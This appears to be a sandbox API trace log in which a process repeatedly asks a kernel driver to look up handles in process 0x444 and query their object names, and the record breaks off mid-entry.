[0122.381] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.381] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.381] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.381] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xb0, lpOverlapped=0x0) returned 1 [0122.381] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.381] PsAcquireProcessExitSynchronization () returned 0x0 [0122.381] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.381] ObReferenceObjectByHandle (in: Handle=0x344, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00196d800, HandleInformation=0x0) returned 0x0 [0122.381] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.381] PsReleaseProcessExitSynchronization () returned 0x2 [0122.381] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.381] ObQueryNameString (in: Object=0xfffff8a00196d800, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.381] ObfDereferenceObject (Object=0xfffff8a00196d800) returned 0x7 [0122.381] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.381] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.381] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.381] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xb0, lpOverlapped=0x0) returned 1 [0122.381] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.381] PsAcquireProcessExitSynchronization () returned 0x0 [0122.381] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.381] ObReferenceObjectByHandle (in: Handle=0x34c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00196d800, HandleInformation=0x0) returned 0x0 [0122.381] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.381] PsReleaseProcessExitSynchronization () returned 0x2 [0122.381] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.382] ObQueryNameString (in: Object=0xfffff8a00196d800, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.382] ObfDereferenceObject (Object=0xfffff8a00196d800) returned 0x7 [0122.382] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.382] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.382] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.382] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x116, lpOverlapped=0x0) returned 1 [0122.382] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.382] PsAcquireProcessExitSynchronization () returned 0x0 [0122.382] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.382] ObReferenceObjectByHandle (in: Handle=0x350, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001973760, HandleInformation=0x0) returned 0x0 [0122.382] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.382] PsReleaseProcessExitSynchronization () returned 0x2 [0122.382] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.382] ObQueryNameString (in: Object=0xfffff8a001973760, ObjectNameInfo=0xfffffa8001a0f044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0f044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.382] ObfDereferenceObject (Object=0xfffff8a001973760) returned 0x2 [0122.382] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.382] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.382] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.382] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0122.382] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.382] PsAcquireProcessExitSynchronization () returned 0x0 [0122.382] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.382] ObReferenceObjectByHandle (in: Handle=0x378, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80034d1680, HandleInformation=0x0) returned 0x0 [0122.480] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.480] PsReleaseProcessExitSynchronization () returned 0x2 [0122.480] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.480] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.480] ObfDereferenceObject (Object=0xfffffa80034d1680) returned 0x1 [0122.480] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.480] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.480] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.480] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0122.480] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.480] PsAcquireProcessExitSynchronization () returned 0x0 [0122.480] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.480] ObReferenceObjectByHandle (in: Handle=0x3ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80028d9470, HandleInformation=0x0) returned 0x0 [0122.481] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.481] PsReleaseProcessExitSynchronization () returned 0x2 [0122.481] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.481] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88004435508) returned 0x0 [0122.481] ObfDereferenceObject (Object=0xfffffa80028d9470) returned 0x1 [0122.481] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.481] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.481] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.481] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x116, lpOverlapped=0x0) returned 1 [0122.481] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.481] PsAcquireProcessExitSynchronization () returned 0x0 [0122.481] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.481] ObReferenceObjectByHandle (in: Handle=0x3f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001a97420, HandleInformation=0x0) returned 0x0 [0122.481] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.481] PsReleaseProcessExitSynchronization () returned 0x2 [0122.481] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.481] ObQueryNameString (in: Object=0xfffff8a001a97420, ObjectNameInfo=0xfffffa80037a2444, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80037a2444, ReturnLength=0xfffff88004435550) returned 0x0 [0122.481] ObfDereferenceObject (Object=0xfffff8a001a97420) returned 0x2 [0122.481] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.481] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.481] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.481] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x116, lpOverlapped=0x0) returned 1 [0122.481] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.481] PsAcquireProcessExitSynchronization () returned 0x0 [0122.481] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.481] ObReferenceObjectByHandle (in: Handle=0x3fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001ab3eb0, HandleInformation=0x0) returned 0x0 [0122.481] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.481] PsReleaseProcessExitSynchronization () returned 0x2 [0122.481] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.481] ObQueryNameString (in: Object=0xfffff8a001ab3eb0, ObjectNameInfo=0xfffffa800341c7c4, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800341c7c4, ReturnLength=0xfffff88004435550) returned 0x0 [0122.481] ObfDereferenceObject (Object=0xfffff8a001ab3eb0) returned 0x2 [0122.481] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.482] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.482] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.482] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xb0, lpOverlapped=0x0) returned 1 [0122.482] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.482] PsAcquireProcessExitSynchronization () returned 0x0 [0122.482] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.482] ObReferenceObjectByHandle (in: Handle=0x408, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00196d800, HandleInformation=0x0) returned 0x0 [0122.482] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.482] PsReleaseProcessExitSynchronization () returned 0x2 [0122.482] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.482] ObQueryNameString (in: Object=0xfffff8a00196d800, ObjectNameInfo=0xfffffa80037a3644, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80037a3644, ReturnLength=0xfffff88004435550) returned 0x0 [0122.482] ObfDereferenceObject (Object=0xfffff8a00196d800) returned 0x7 [0122.482] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.482] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.482] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.482] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xb0, lpOverlapped=0x0) returned 1 [0122.482] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.482] PsAcquireProcessExitSynchronization () returned 0x0 [0122.482] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.482] ObReferenceObjectByHandle (in: Handle=0x410, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00196d800, HandleInformation=0x0) returned 0x0 [0122.482] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.482] PsReleaseProcessExitSynchronization () returned 0x2 [0122.482] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.482] ObQueryNameString (in: Object=0xfffff8a00196d800, ObjectNameInfo=0xfffffa8002101044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8002101044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.482] ObfDereferenceObject (Object=0xfffff8a00196d800) returned 0x7 [0122.482] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.482] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.482] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.482] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x116, lpOverlapped=0x0) returned 1 [0122.482] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.482] PsAcquireProcessExitSynchronization () returned 0x0 [0122.482] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.483] ObReferenceObjectByHandle (in: Handle=0x418, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001aaf2e0, HandleInformation=0x0) returned 0x0 [0122.483] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.483] PsReleaseProcessExitSynchronization () returned 0x2 [0122.483] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.483] ObQueryNameString (in: Object=0xfffff8a001aaf2e0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.483] ObfDereferenceObject (Object=0xfffff8a001aaf2e0) returned 0x2 [0122.483] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.483] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.483] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.483] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x78, lpOverlapped=0x0) returned 1 [0122.483] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.483] PsAcquireProcessExitSynchronization () returned 0x0 [0122.483] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.483] ObReferenceObjectByHandle (in: Handle=0x474, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001aa1cc0, HandleInformation=0x0) returned 0x0 [0122.483] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.483] PsReleaseProcessExitSynchronization () returned 0x2 [0122.483] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.483] ObQueryNameString (in: Object=0xfffff8a001aa1cc0, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.483] ObfDereferenceObject (Object=0xfffff8a001aa1cc0) returned 0x2 [0122.483] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.483] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.483] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.483] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xfa, lpOverlapped=0x0) returned 1 [0122.483] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.483] PsAcquireProcessExitSynchronization () returned 0x0 [0122.483] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.483] ObReferenceObjectByHandle (in: Handle=0x480, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001aa1c00, HandleInformation=0x0) returned 0x0 [0122.483] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.483] PsReleaseProcessExitSynchronization () returned 0x2 [0122.483] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.483] ObQueryNameString (in: Object=0xfffff8a001aa1c00, ObjectNameInfo=0xfffffa80020df044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020df044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.483] ObfDereferenceObject (Object=0xfffff8a001aa1c00) returned 0x2 [0122.484] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.484] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.484] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.484] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xdc, lpOverlapped=0x0) returned 1 [0122.484] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.484] PsAcquireProcessExitSynchronization () returned 0x0 [0122.484] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.484] ObReferenceObjectByHandle (in: Handle=0x484, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80020b9880, HandleInformation=0x0) returned 0x0 [0122.484] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.484] PsReleaseProcessExitSynchronization () returned 0x2 [0122.484] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.484] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.484] ObfDereferenceObject (Object=0xfffffa80020b9880) returned 0xe [0122.484] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.484] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.484] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.484] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0122.484] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.484] PsAcquireProcessExitSynchronization () returned 0x0 [0122.484] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.484] ObReferenceObjectByHandle (in: Handle=0x494, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0017007a0, HandleInformation=0x0) returned 0x0 [0122.484] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.484] PsReleaseProcessExitSynchronization () returned 0x2 [0122.484] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.484] ObQueryNameString (in: Object=0xfffff8a0017007a0, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.484] ObfDereferenceObject (Object=0xfffff8a0017007a0) returned 0x2 [0122.484] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.484] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.484] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.484] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xb0, lpOverlapped=0x0) returned 1 [0122.484] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.484] PsAcquireProcessExitSynchronization () returned 0x0 [0122.485] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.485] ObReferenceObjectByHandle (in: Handle=0x4ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00196d800, HandleInformation=0x0) returned 0x0 [0122.485] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.485] PsReleaseProcessExitSynchronization () returned 0x2 [0122.485] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.485] ObQueryNameString (in: Object=0xfffff8a00196d800, ObjectNameInfo=0xfffffa80020f4044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020f4044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.485] ObfDereferenceObject (Object=0xfffff8a00196d800) returned 0x7 [0122.485] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.485] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.485] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.485] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x90, lpOverlapped=0x0) returned 1 [0122.485] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.485] PsAcquireProcessExitSynchronization () returned 0x0 [0122.485] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.485] ObReferenceObjectByHandle (in: Handle=0x4cc, DesiredAccess=0x0, ObjectType=0x0, 